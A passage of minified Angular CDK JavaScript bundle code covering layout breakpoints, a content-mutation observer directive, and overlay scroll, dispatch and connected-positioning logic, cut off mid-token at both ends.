959.98px)",Medium:"(min-width: 960px) and (max-width: 1279.98px)",Large:"(min-width: 1280px) and (max-width: 1919.98px)",XLarge:"(min-width: 1920px)",Handset:"(max-width: 599.98px) and (orientation: portrait), (max-width: 959.98px) and (orientation: landscape)",Tablet:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait), (min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",Web:"(min-width: 840px) and (orientation: portrait), (min-width: 1280px) and (orientation: landscape)",HandsetPortrait:"(max-width: 599.98px) and (orientation: portrait)",TabletPortrait:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait)",WebPortrait:"(min-width: 840px) and (orientation: portrait)",HandsetLandscape:"(max-width: 959.98px) and (orientation: landscape)",TabletLandscape:"(min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",WebLandscape:"(min-width: 1280px) and (orientation: landscape)"}},9643:(At,ae,d)=>{"use strict";d.d(ae,{Q8:()=>S,wD:()=>_});var n=d(1281),a=d(4650),s=d(6498),u=d(8929),c=d(13);let f=(()=>{class g{create(z){return typeof MutationObserver>"u"?null:new MutationObserver(z)}}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275prov=a.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),E=(()=>{class g{constructor(z){this._mutationObserverFactory=z,this._observedElements=new Map}ngOnDestroy(){this._observedElements.forEach((z,H)=>this._cleanupObserver(H))}observe(z){const H=(0,n.fI)(z);return new s.y(j=>{const G=this._observeElement(H).subscribe(j);return()=>{G.unsubscribe(),this._unobserveElement(H)}})}_observeElement(z){if(this._observedElements.has(z))this._observedElements.get(z).count++;else{const H=new u.xQ,j=this._mutationObserverFactory.create(U=>H.next(U));j&&j.observe(z,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(z,{observer:j,stream:H,count:1})}return this._observedElements.get(z).stream}_unobserveElement(z){this._observedElements.has(z)&&(this._observedElements.get(z).count--,this._observedElements.get(z).count||this._cleanupObserver(z))}_cleanupObserver(z){if(this._observedElements.has(z)){const{observer:H,stream:j}=this._observedElements.get(z);H&&H.disconnect(),j.complete(),this._observedElements.delete(z)}}}return g.\\u0275fac=function(z){return new(z||g)(a.LFG(f))},g.\\u0275prov=a.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),_=(()=>{class g{constructor(z,H,j){this._contentObserver=z,this._elementRef=H,this._ngZone=j,this.event=new a.vpe,this._disabled=!1,this._currentSubscription=null}get disabled(){return this._disabled}set disabled(z){this._disabled=(0,n.Ig)(z),this._disabled?this._unsubscribe():this._subscribe()}get debounce(){return this._debounce}set debounce(z){this._debounce=(0,n.su)(z),this._subscribe()}ngAfterContentInit(){!this._currentSubscription&&!this.disabled&&this._subscribe()}ngOnDestroy(){this._unsubscribe()}_subscribe(){this._unsubscribe();const z=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(()=>{this._currentSubscription=(this.debounce?z.pipe((0,c.b)(this.debounce)):z).subscribe(this.event)})}_unsubscribe(){this._currentSubscription?.unsubscribe()}}return g.\\u0275fac=function(z){return new(z||g)(a.Y36(E),a.Y36(a.SBq),a.Y36(a.R0b))},g.\\u0275dir=a.lG2({type:g,selectors:[["","cdkObserveContent",""]],inputs:{disabled:["cdkObserveContentDisabled","disabled"],debounce:"debounce"},outputs:{event:"cdkObserveContent"},exportAs:["cdkObserveContent"]}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=a.oAB({type:g}),g.\\u0275inj=a.cJS({providers:[f]}),g})()},8184:(At,ae,d)=>{"use strict";d.d(ae,{Iu:()=>Ke,U8:()=>Pt,X_:()=>q,Xj:()=>qe,_G:()=>ze,aV:()=>R,pI:()=>Je,xu:()=>ct});var n=d(7261),a=d(6895),s=d(4650),u=d(1281),c=d(3353),f=d(445),E=d(4080),_=d(8929),S=d(2654),g=d(6787),C=d(2986),z=d(7625),H=d(4290),j=d(9521);const U=(0,c.Mq)();class G{constructor(x,m){this._viewportRuler=x,this._previousHTMLStyles={top:"",left:""},this._isEnabled=!1,this._document=m}attach(){}enable(){if(this._canBeEnabled()){const x=this._document.documentElement;this._previousScrollPosition=this._viewportRuler.getViewportScrollPosition(),this._previousHTMLStyles.left=x.style.left||"",this._previousHTMLStyles.top=x.style.top||"",x.style.left=(0,u.HM)(-this._previousScrollPosition.left),x.style.top=(0,u.HM)(-this._previousScrollPosition.top),x.classList.add("cdk-global-scrollblock"),this._isEnabled=!0}}disable(){if(this._isEnabled){const x=this._document.documentElement,b=x.style,B=this._document.body.style,ie=b.scrollBehavior||"",Xe=B.scrollBehavior||"";this._isEnabled=!1,b.left=this._previousHTMLStyles.left,b.top=this._previousHTMLStyles.top,x.classList.remove("cdk-global-scrollblock"),U&&(b.scrollBehavior=B.scrollBehavior="auto"),window.scroll(this._previousScrollPosition.left,this._previousScrollPosition.top),U&&(b.scrollBehavior=ie,B.scrollBehavior=Xe)}}_canBeEnabled(){if(this._document.documentElement.classList.contains("cdk-global-scrollblock")||this._isEnabled)return!1;const m=this._document.body,b=this._viewportRuler.getViewportSize();return m.scrollHeight>b.height||m.scrollWidth>b.width}}class oe{constructor(x,m,b,B){this._scrollDispatcher=x,this._ngZone=m,this._viewportRuler=b,this._config=B,this._scrollSubscription=null,this._detach=()=>{this.disable(),this._overlayRef.hasAttached()&&this._ngZone.run(()=>this._overlayRef.detach())}}attach(x){this._overlayRef=x}enable(){if(this._scrollSubscription)return;const x=this._scrollDispatcher.scrolled(0);this._config&&this._config.threshold&&this._config.threshold>1?(this._initialScrollPosition=this._viewportRuler.getViewportScrollPosition().top,this._scrollSubscription=x.subscribe(()=>{const m=this._viewportRuler.getViewportScrollPosition().top;Math.abs(m-this._initialScrollPosition)>this._config.threshold?this._detach():this._overlayRef.updatePosition()})):this._scrollSubscription=x.subscribe(this._detach)}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}class Ce{enable(){}disable(){}attach(){}}function k(te,x){return x.some(m=>te.bottom<m.top||te.top>m.bottom||te.right<m.left||te.left>m.right)}function K(te,x){return x.some(m=>te.top<m.top||te.bottom>m.bottom||te.left<m.left||te.right>m.right)}class se{constructor(x,m,b,B){this._scrollDispatcher=x,this._viewportRuler=m,this._ngZone=b,this._config=B,this._scrollSubscription=null}attach(x){this._overlayRef=x}enable(){this._scrollSubscription||(this._scrollSubscription=this._scrollDispatcher.scrolled(this._config?this._config.scrollThrottle:0).subscribe(()=>{if(this._overlayRef.updatePosition(),this._config&&this._config.autoClose){const m=this._overlayRef.overlayElement.getBoundingClientRect(),{width:b,height:B}=this._viewportRuler.getViewportSize();k(m,[{width:b,height:B,bottom:B,right:b,top:0,left:0}])&&(this.disable(),this._ngZone.run(()=>this._overlayRef.detach()))}}))}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}let ee=(()=>{class te{constructor(m,b,B,ie){this._scrollDispatcher=m,this._viewportRuler=b,this._ngZone=B,this.noop=()=>new Ce,this.close=Xe=>new oe(this._scrollDispatcher,this._ngZone,this._viewportRuler,Xe),this.block=()=>new G(this._viewportRuler,this._document),this.reposition=Xe=>new se(this._scrollDispatcher,this._viewportRuler,this._ngZone,Xe),this._document=ie}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(n.mF),s.LFG(n.rL),s.LFG(s.R0b),s.LFG(a.K0))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})();class q{constructor(x){if(this.scrollStrategy=new Ce,this.panelClass="",this.hasBackdrop=!1,this.backdropClass="cdk-overlay-dark-backdrop",this.disposeOnNavigation=!1,x){const m=Object.keys(x);for(const b of m)void 0!==x[b]&&(this[b]=x[b])}}}class je{constructor(x,m){this.connectionPair=x,this.scrollableViewProperties=m}}let Oe=(()=>{class te{constructor(m){this._attachedOverlays=[],this._document=m}ngOnDestroy(){this.detach()}add(m){this.remove(m),this._attachedOverlays.push(m)}remove(m){const b=this._attachedOverlays.indexOf(m);b>-1&&this._attachedOverlays.splice(b,1),0===this._attachedOverlays.length&&this.detach()}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),Qe=(()=>{class te extends Oe{constructor(m,b){super(m),this._ngZone=b,this._keydownListener=B=>{const ie=this._attachedOverlays;for(let Xe=ie.length-1;Xe>-1;Xe--)if(ie[Xe]._keydownEvents.observers.length>0){const it=ie[Xe]._keydownEvents;this._ngZone?this._ngZone.run(()=>it.next(B)):it.next(B);break}}}add(m){super.add(m),this._isAttached||(this._ngZone?this._ngZone.runOutsideAngular(()=>this._document.body.addEventListener("keydown",this._keydownListener)):this._document.body.addEventListener("keydown",this._keydownListener),this._isAttached=!0)}detach(){this._isAttached&&(this._document.body.removeEventListener("keydown",this._keydownListener),this._isAttached=!1)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(s.R0b,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),Ye=(()=>{class te extends Oe{constructor(m,b,B){super(m),this._platform=b,this._ngZone=B,this._cursorStyleIsSet=!1,this._pointerDownListener=ie=>{this._pointerDownEventTarget=(0,c.sA)(ie)},this._clickListener=ie=>{const Xe=(0,c.sA)(ie),it="click"===ie.type&&this._pointerDownEventTarget?this._pointerDownEventTarget:Xe;this._pointerDownEventTarget=null;const wt=this._attachedOverlays.slice();for(let Vt=wt.length-1;Vt>-1;Vt--){const Gt=wt[Vt];if(Gt._outsidePointerEvents.observers.length<1||!Gt.hasAttached())continue;if(Gt.overlayElement.contains(Xe)||Gt.overlayElement.contains(it))break;const qt=Gt._outsidePointerEvents;this._ngZone?this._ngZone.run(()=>qt.next(ie)):qt.next(ie)}}}add(m){if(super.add(m),!this._isAttached){const b=this._document.body;this._ngZone?this._ngZone.runOutsideAngular(()=>this._addEventListeners(b)):this._addEventListeners(b),this._platform.IOS&&!this._cursorStyleIsSet&&(this._cursorOriginalValue=b.style.cursor,b.style.cursor="pointer",this._cursorStyleIsSet=!0),this._isAttached=!0}}detach(){if(this._isAttached){const m=this._document.body;m.removeEventListener("pointerdown",this._pointerDownListener,!0),m.removeEventListener("click",this._clickListener,!0),m.removeEventListener("auxclick",this._clickListener,!0),m.removeEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&this._cursorStyleIsSet&&(m.style.cursor=this._cursorOriginalValue,this._cursorStyleIsSet=!1),this._isAttached=!1}}_addEventListeners(m){m.addEventListener("pointerdown",this._pointerDownListener,!0),m.addEventListener("click",this._clickListener,!0),m.addEventListener("auxclick",this._clickListener,!0),m.addEventListener("contextmenu",this._clickListener,!0)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(c.t4),s.LFG(s.R0b,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),qe=(()=>{class te{constructor(m,b){this._platform=b,this._document=m}ngOnDestroy(){this._containerElement?.remove()}getContainerElement(){return this._containerElement||this._createContainer(),this._containerElement}_createContainer(){const m="cdk-overlay-container";if(this._platform.isBrowser||(0,c.Oy)()){const B=this._document.querySelectorAll(`.${m}[platform="server"], .${m}[platform="test"]`);for(let ie=0;ie<B.length;ie++)B[ie].remove()}const b=this._document.createElement("div");b.classList.add(m),(0,c.Oy)()?b.setAttribute("platform","test"):this._platform.isBrowser||b.setAttribute("platform","server"),this._document.body.appendChild(b),this._containerElement=b}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(c.t4))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})();class Ke{constructor(x,m,b,B,ie,Xe,it,wt,Vt,Gt=!1){this._portalOutlet=x,this._host=m,this._pane=b,this._config=B,this._ngZone=ie,this._keyboardDispatcher=Xe,this._document=it,this._location=wt,this._outsideClickDispatcher=Vt,this._animationsDisabled=Gt,this._backdropElement=null,this._backdropClick=new _.xQ,this._attachments=new _.xQ,this._detachments=new _.xQ,this._locationChanges=S.w.EMPTY,this._backdropClickHandler=qt=>this._backdropClick.next(qt),this._backdropTransitionendHandler=qt=>{this._disposeBackdrop(qt.target)},this._keydownEvents=new _.xQ,this._outsidePointerEvents=new _.xQ,B.scrollStrategy&&(this._scrollStrategy=B.scrollStrategy,this._scrollStrategy.attach(this)),this._positionStrategy=B.positionStrategy}get overlayElement(){return this._pane}get backdropElement(){return this._backdropElement}get hostElement(){return this._host}attach(x){!this._host.parentElement&&this._previousHostParent&&this._previousHostParent.appendChild(this._host);const m=this._portalOutlet.attach(x);return this._positionStrategy&&this._positionStrategy.attach(this),this._updateStackingOrder(),this._updateElementSize(),this._updateElementDirection(),this._scrollStrategy&&this._scrollStrategy.enable(),this._ngZone.onStable.pipe((0,C.q)(1)).subscribe(()=>{this.hasAttached()&&this.updatePosition()}),this._togglePointerEvents(!0),this._config.hasBackdrop&&this._attachBackdrop(),this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!0),this._attachments.next(),this._keyboardDispatcher.add(this),this._config.disposeOnNavigation&&(this._locationChanges=this._location.subscribe(()=>this.dispose())),this._outsideClickDispatcher.add(this),"function"==typeof m?.onDestroy&&m.onDestroy(()=>{this.hasAttached()&&this._ngZone.runOutsideAngular(()=>Promise.resolve().then(()=>this.detach()))}),m}detach(){if(!this.hasAttached())return;this.detachBackdrop(),this._togglePointerEvents(!1),this._positionStrategy&&this._positionStrategy.detach&&this._positionStrategy.detach(),this._scrollStrategy&&this._scrollStrategy.disable();const x=this._portalOutlet.detach();return this._detachments.next(),this._keyboardDispatcher.remove(this),this._detachContentWhenStable(),this._locationChanges.unsubscribe(),this._outsideClickDispatcher.remove(this),x}dispose(){const x=this.hasAttached();this._positionStrategy&&this._positionStrategy.dispose(),this._disposeScrollStrategy(),this._disposeBackdrop(this._backdropElement),this._locationChanges.unsubscribe(),this._keyboardDispatcher.remove(this),this._portalOutlet.dispose(),this._attachments.complete(),this._backdropClick.complete(),this._keydownEvents.complete(),this._outsidePointerEvents.complete(),this._outsideClickDispatcher.remove(this),this._host?.remove(),this._previousHostParent=this._pane=this._host=null,x&&this._detachments.next(),this._detachments.complete()}hasAttached(){return this._portalOutlet.hasAttached()}backdropClick(){return this._backdropClick}attachments(){return this._attachments}detachments(){return this._detachments}keydownEvents(){return this._keydownEvents}outsidePointerEvents(){return this._outsidePointerEvents}getConfig(){return this._config}updatePosition(){this._positionStrategy&&this._positionStrategy.apply()}updatePositionStrategy(x){x!==this._positionStrategy&&(this._positionStrategy&&this._positionStrategy.dispose(),this._positionStrategy=x,this.hasAttached()&&(x.attach(this),this.updatePosition()))}updateSize(x){this._config={...this._config,...x},this._updateElementSize()}setDirection(x){this._config={...this._config,direction:x},this._updateElementDirection()}addPanelClass(x){this._pane&&this._toggleClasses(this._pane,x,!0)}removePanelClass(x){this._pane&&this._toggleClasses(this._pane,x,!1)}getDirection(){const x=this._config.direction;return x?"string"==typeof x?x:x.value:"ltr"}updateScrollStrategy(x){x!==this._scrollStrategy&&(this._disposeScrollStrategy(),this._scrollStrategy=x,this.hasAttached()&&(x.attach(this),x.enable()))}_updateElementDirection(){this._host.setAttribute("dir",this.getDirection())}_updateElementSize(){if(!this._pane)return;const x=this._pane.style;x.width=(0,u.HM)(this._config.width),x.height=(0,u.HM)(this._config.height),x.minWidth=(0,u.HM)(this._config.minWidth),x.minHeight=(0,u.HM)(this._config.minHeight),x.maxWidth=(0,u.HM)(this._config.maxWidth),x.maxHeight=(0,u.HM)(this._config.maxHeight)}_togglePointerEvents(x){this._pane.style.pointerEvents=x?"":"none"}_attachBackdrop(){const x="cdk-overlay-backdrop-showing";this._backdropElement=this._document.createElement("div"),this._backdropElement.classList.add("cdk-overlay-backdrop"),this._animationsDisabled&&this._backdropElement.classList.add("cdk-overlay-backdrop-noop-animation"),this._config.backdropClass&&this._toggleClasses(this._backdropElement,this._config.backdropClass,!0),this._host.parentElement.insertBefore(this._backdropElement,this._host),this._backdropElement.addEventListener("click",this._backdropClickHandler),!this._animationsDisabled&&typeof requestAnimationFrame<"u"?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{this._backdropElement&&this._backdropElement.classList.add(x)})}):this._backdropElement.classList.add(x)}_updateStackingOrder(){this._host.nextSibling&&this._host.parentNode.appendChild(this._host)}detachBackdrop(){const x=this._backdropElement;if(x){if(this._animationsDisabled)return void this._disposeBackdrop(x);x.classList.remove("cdk-overlay-backdrop-showing"),this._ngZone.runOutsideAngular(()=>{x.addEventListener("transitionend",this._backdropTransitionendHandler)}),x.style.pointerEvents="none",this._backdropTimeout=this._ngZone.runOutsideAngular(()=>setTimeout(()=>{this._disposeBackdrop(x)},500))}}_toggleClasses(x,m,b){const B=(0,u.Eq)(m||[]).filter(ie=>!!ie);B.length&&(b?x.classList.add(...B):x.classList.remove(...B))}_detachContentWhenStable(){this._ngZone.runOutsideAngular(()=>{const x=this._ngZone.onStable.pipe((0,z.R)((0,g.T)(this._attachments,this._detachments))).subscribe(()=>{(!this._pane||!this._host||0===this._pane.children.length)&&(this._pane&&this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!1),this._host&&this._host.parentElement&&(this._previousHostParent=this._host.parentElement,this._host.remove()),x.unsubscribe())})})}_disposeScrollStrategy(){const x=this._scrollStrategy;x&&(x.disable(),x.detach&&x.detach())}_disposeBackdrop(x){x&&(x.removeEventListener("click",this._backdropClickHandler),x.removeEventListener("transitionend",this._backdropTransitionendHandler),x.remove(),this._backdropElement===x&&(this._backdropElement=null)),this._backdropTimeout&&(clearTimeout(this._backdropTimeout),this._backdropTimeout=void 0)}}const dt="cdk-overlay-connected-position-bounding-box",bt=/([A-Za-z%]+)$/;class ze{constructor(x,m,b,B,ie){this._viewportRuler=m,this._document=b,this._platform=B,this._overlayContainer=ie,this._lastBoundingBoxSize={width:0,height:0},this._isPushed=!1,this._canPush=!0,this._growAfterOpen=!1,this._hasFlexibleDimensions=!0,this._positionLocked=!1,this._viewportMargin=0,this._scrollables=[],this._preferredPositions=[],this._positionChanges=new _.xQ,this._resizeSubscription=S.w.EMPTY,this._offsetX=0,this._offsetY=0,this._appliedPanelClasses=[],this.positionChanges=this._positionChanges,this.setOrigin(x)}get positions(){return this._preferredPositions}attach(x){this._validatePositions(),x.hostElement.classList.add(dt),this._overlayRef=x,this._boundingBox=x.hostElement,this._pane=x.overlayElement,this._isDisposed=!1,this._isInitialRender=!0,this._lastPosition=null,this._resizeSubscription.unsubscribe(),this._resizeSubscription=this._viewportRuler.change().subscribe(()=>{this._isInitialRender=!0,this.apply()})}apply(){if(this._isDisposed||!this._platform.isBrowser)return;if(!this._isInitialRender&&this._positionLocked&&this._lastPosition)return void this.reapplyLastPosition();this._clearPanelClasses(),this._resetOverlayElementStyles(),this._resetBoundingBoxStyles(),this._viewportRect=this._getNarrowedViewportRect(),this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._containerRect=this._overlayContainer.getContainerElement().getBoundingClientRect();const x=this._originRect,m=this._overlayRect,b=this._viewportRect,B=this._containerRect,ie=[];let Xe;for(let it of this._preferredPositions){let wt=this._getOriginPoint(x,B,it),Vt=this._getOverlayPoint(wt,m,it),Gt=this._getOverlayFit(Vt,m,b,it);if(Gt.isCompletelyWithinViewport)return this._isPushed=!1,void this._applyPosition(it,wt);this._canFitWithFlexibleDimensions(Gt,Vt,b)?ie.push({position:it,origin:wt,overlayRect:m,boundingBoxRect:this._calculateBoundingBoxRect(wt,it)}):(!Xe||Xe.overlayFit.visibleArea<Gt.visibleArea)&&(Xe={overlayFit:Gt,overlayPoint:Vt,originPoint:wt,position:it,overlayRect:m})}if(ie.length){let it=null,wt=-1;for(const Vt of ie){const Gt=Vt.boundingBoxRect.width*Vt.boundingBoxRect.height*(Vt.position.weight||1);Gt>wt&&(wt=Gt,it=Vt)}return this._isPushed=!1,void this._applyPosition(it.position,it.origin)}if(this._canPush)return this._isPushed=!0,void this._applyPosition(Xe.position,Xe.originPoint);this._applyPosition(Xe.position,Xe.originPoint)}detach(){this._clearPanelClasses(),this._lastPosition=null,this._previousPushAmount=null,this._resizeSubscription.unsubscribe()}dispose(){this._isDisposed||(this._boundingBox&&De(this._boundingBox.style,{top:"",left:"",right:"",bottom:"",height:"",width:"",alignItems:"",justifyContent:""}),this._pane&&this._resetOverlayElementStyles(),this._overlayRef&&this._overlayRef.hostElement.classList.remove(dt),this.detach(),this._positionChanges.complete(),this._overlayRef=this._boundingBox=null,this._isDisposed=!0)}reapplyLastPosition(){if(this._isDisposed||!this._platform.isBrowser)return;const x=this._lastPosition;if(x){this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._viewportRect=this._getNarrowedViewportRect(),this._containerRect=this._overlayContainer.getContainerElement().getBoundingClientRect();const m=this._getOriginPoint(this._originRect,this._containerRect,x);this._applyPosition(x,m)}else this.apply()}withScrollableContainers(x){return this._scrollables=x,this}withPositions(x){return this._preferredPositions=x,-1===x.indexOf(this._lastPosition)&&(this._lastPosition=null),this._validatePositions(),this}withViewportMargin(x){return this._viewportMargin=x,this}withFlexibleDimensions(x=!0){return this._hasFlexibleDimensions=x,this}withGrowAfterOpen(x=!0){return this._growAfterOpen=x,this}withPush(x=!0){return this._canPush=x,this}withLockedPosition(x=!0){return this._positionLocked=x,this}setOrigin(x){return this._origin=x,this}withDefaultOffsetX(x){return this._offsetX=x,this}withDefaultOffsetY(x){return this._offsetY=x,this}withTransformOriginOn(x){return this._transformOriginSelector=x,this}_getOriginPoint(x,m,b){let B,ie;if("center"==b.originX)B=x.left+x.width/2;else{const Xe=this._isRtl()?x.right:x.left,it=this._isRtl()?x.left:x.right;B="start"==b.originX?Xe:it}return m.left<0&&(B-=m.left),ie="center"==b.originY?x.top+x.height/2:"top"==b.originY?x.top:x.bottom,m.top<0&&(ie-=m.top),{x:B,y:ie}}_getOverlayPoint(x,m,b){let B,ie;return B="center"==b.overlayX?-m.width/2:"start"===b.overlayX?this._isRtl()?-m.width:0:this._isRtl()?0:-m.width,ie="center"==b.overlayY?-m.height/2:"top"==b.overlayY?0:-m.height,{x:x.x+B,y:x.y+ie}}_getOverlayFit(x,m,b,B){const ie=ve(m);let{x:Xe,y:it}=x,wt=this._getOffset(B,"x"),Vt=this._getOffset(B,"y");wt&&(Xe+=wt),Vt&&(it+=Vt);let u1=0-it,c1=it+ie.height-b.height,It=this._subtractOverflows(ie.width,0-Xe,Xe+ie.width-b.width),_t=this._subtractOverflows(ie.height,u1,c1),kt=It*_t;return{visibleArea:kt,isCompletelyWithinViewport:ie.width*ie.height===kt,fitsInViewportVertically:_t===ie.height,fitsInViewportHorizontally:It==ie.width}}_canFitWithFlexibleDimensions(x,m,b){if(this._hasFlexibleDimensions){const B=b.bottom-m.y,ie=b.right-m.x,Xe=re(this._overlayRef.getConfig().minHeight),it=re(this._overlayRef.getConfig().minWidth);return(x.fitsInViewportVertically||null!=Xe&&Xe<=B)&&(x.fitsInViewportHorizontally||null!=it&&it<=ie)}return!1}_pushOverlayOnScreen(x,m,b){if(this._previousPushAmount&&this._positionLocked)return{x:x.x+this._previousPushAmount.x,y:x.y+this._previousPushAmount.y};const B=ve(m),ie=this._viewportRect,Xe=Math.max(x.x+B.width-ie.width,0),it=Math.max(x.y+B.height-ie.height,0),wt=Math.max(ie.top-b.top-x.y,0),Vt=Math.max(ie.left-b.left-x.x,0);let Gt=0,qt=0;return Gt=B.width<=ie.width?Vt||-Xe:x.x<this._viewportMargin?ie.left-b.left-x.x:0,qt=B.height<=ie.height?wt||-it:x.y<this._viewportMargin?ie.top-b.top-x.y:0,this._previousPushAmount={x:Gt,y:qt},{x:x.x+Gt,y:x.y+qt}}_applyPosition(x,m){if(this._setTransformOrigin(x),this._setOverlayElementStyles(m,x),this._setBoundingBoxStyles(m,x),x.panelClass&&this._addPanelClasses(x.panelClass),this._lastPosition=x,this._positionChanges.observers.length){const b=this._getScrollVisibility(),B=new je(x,b);this._positionChanges.next(B)}this._isInitialRender=!1}_setTransformOrigin(x){if(!this._transformOriginSelector)return;const m=this._boundingBox.querySelectorAll(this._transformOriginSelector);let b,B=x.overlayY;b="center"===x.overlayX?"center":this._isRtl()?"start"===x.overlayX?"right":"left":"start"===x.overlayX?"left":"right";for(let ie=0;ie<m.length;ie++)m[ie].style.transformOrigin=`${b} ${B}`}_calculateBoundingBoxRect(x,m){const b=this._viewportRect,B=this._isRtl();let ie,Xe,it,Gt,qt,u1;if("top"===m.overlayY)Xe=x.y,ie=b.height-Xe+this._viewportMargin;else if("bottom"===m.overlayY)it=b.height-x.y+2*this._viewportMargin,ie=b.height-it+this._viewportMargin;else{const c1=Math.min(b.bottom-x.y+b.top,x.y),It=this._lastBoundingBoxSize.height;ie=2*c1,Xe=x.y-c1,ie>It&&!this._isInitialRender&&!this._growAfterOpen&&(Xe=x.y-It/2)}if("end"===m.overlayX&&!B||"start"===m.overlayX&&B)u1=b.width-x.x+this._viewportMargin,Gt=x.x-this._viewportMargin;else if("start"===m.overlayX&&!B||"end"===m.overlayX&&B)qt=x.x,Gt=b.right-x.x;else{const c1=Math.min(b.right-x.x+b.left,x.x),It=this._lastBoundingBoxSize.width;Gt=2*c1,qt=x.x-c1,Gt>It&&!this._isInitialRender&&!this._growAfterOpen&&(qt=x.x-It/2)}return{top:Xe,left:qt,bottom:it,right:u1,width:Gt,height:ie}}_setBoundingBoxStyles(x,m){const b=this._calculateBoundingBoxRect(x,m);!this._isInitialRender&&!this._growAfterOpen&&(b.height=Math.min(b.height,this._lastBoundingBoxSize.height),b.width=Math.min(b.width,this._lastBoundingBoxSize.width));const B={};if(this._hasExactPosition())B.top=B.left="0",B.bottom=B.right=B.maxHeight=B.maxWidth="",B.width=B.height="100%";else{const ie=this._overlayRef.getConfig().maxHeight,Xe=this._overlayRef.getConfig().maxWidth;B.height=(0,u.HM)(b.height),B.top=(0,u.HM)(b.top),B.bottom=(0,u.HM)(b.bottom),B.width=(0,u.HM)(b.width),B.left=(0,u.HM)(b.left),B.right=(0,u.HM)(b.right),B.alignItems="center"===m.overlayX?"center":"end"===m.overlayX?"flex-end":"flex-start",B.justifyContent="center"===m.overlayY?"center":"bottom"===m.overlayY?"flex-end":"flex-start",ie&&(B.maxHeight=(0,u.HM)(ie)),Xe&&(B.maxWidth=(0,u.HM)(Xe))}this._lastBoundingBoxSize=b,De(this._boundingBox.style,B)}_resetBoundingBoxStyles(){De(this._boundingBox.style,{top:"0",left:"0",right:"0",bottom:"0",height:"",width:"",alignItems:"",justifyContent:""})}_resetOverlayElementStyles(){De(this._pane.style,{top:"",left:"",bottom:"",right:"",position:"",transform:""})}_setOverlayElementStyles(x,m){const b={},B=this._hasExactPosition(),ie=this._hasFlexibleDimensions,Xe=this._overlayRef.getConfig();if(B){const Gt=this._viewportRuler.getViewportScrollPosition();De(b,this._getExactOverlayY(m,x,Gt)),De(b,this._getExactOverlayX(m,x,Gt))}else b.position="static";let it="",wt=this._getOffset(m,"x"),Vt=this._getOffset(m,"y");wt&&(it+=`translateX(${wt}px) `),Vt&&(it+=`translateY(${Vt}px)`),b.transform=it.trim(),Xe.maxHeight&&(B?b.maxHeight=(0,u.HM)(Xe.maxHeight):ie&&(b.maxHeight="")),Xe.maxWidth&&(B?b.maxWidth=(0,u.HM)(Xe.maxWidth):ie&&(b.maxWidth="")),De(this._pane.style,b)}_getExactOverlayY(x,m,b){let B={top:"",bottom:""},ie=this._getOverlayPoint(m,this._overlayRect,x);return this._isPushed&&(ie=this._pushOverlayOnScreen(ie,this._overlayRect,b)),"bottom"===x.overlayY?B.bottom=this._document.documentElement.clientHeight-(ie.y+this._overlayRect.height)+"px":B.top=(0,u.HM)(ie.y),B}_getExactOverlayX(x,m,b){let Xe,B={left:"",right:""},ie=this._getOverlayPoint(m,this._overlayRect,x);return this._isPushed&&(ie=this._pushOverlayOnScreen(ie,this._overlayRect,b)),Xe=this._isRtl()?"end"===x.overlayX?"left":"right":"end"===x.overlayX?"right":"left","right"===Xe?B.right=this._document.documentElement.clientWidth-(ie.x+this._overlayRect.width)+"px":B.left=(0,u.HM)(ie.x),B}_getScrollVisibility(){const x=this._getOriginRect(),m=this._pane.getBoundingClientRect(),b=this._scrollables.map(B=>B.getElementRef().nativeElement.getBoundingClientRect());return{isOriginClipped:K(x,b),isOriginOutsideView:k(x,b),isOverlayClipped:K(m,b),isOverlayOutsideView:k(m,b)}}_subtractOverflows(x,...m){return m.reduce((b,B)=>b-Math.max(B,0),x)}_getNarrowedViewportRect(){const x=this._document.documentElement.clientWidth,m=this._document.documentElement.clientHeight,b=this._viewportRuler.getViewportScrollPosition();return{top:b.top+this._viewportMargin,left:b.left+this._viewportMargin,right:b.left+x-this._viewportMargin,bottom:b.top+m-this._viewportMargin,width:x-2*this._viewportMargin,height:m-2*this._viewportMargin}}_isRtl(){return"rtl"===this._overlayRef.getDirection()}_hasExactPosition(){return!this._hasFlexibleDimensions||this._isPushed}_getOffset(x,m){return"x"===m?null==x.offsetX?this._offsetX:x.offsetX:null==x.offsetY?this._offsetY:x.offsetY}_validatePositions(){}_addPanelClasses(x){this._pane&&(0,u.Eq)(x).forEach(m=>{""!==m&&-1===this._appliedPanelClasses.indexOf(m)&&(this._appliedPanelClasses.push(m),this._pane.classList.add(m))})}_clearPanelClasses(){this._pane&&(this._appliedPanelClasses.forEach(x=>{this._pane.classList.remove(x)}),this._appliedPanelClasses=[])}_getOriginRect(){const 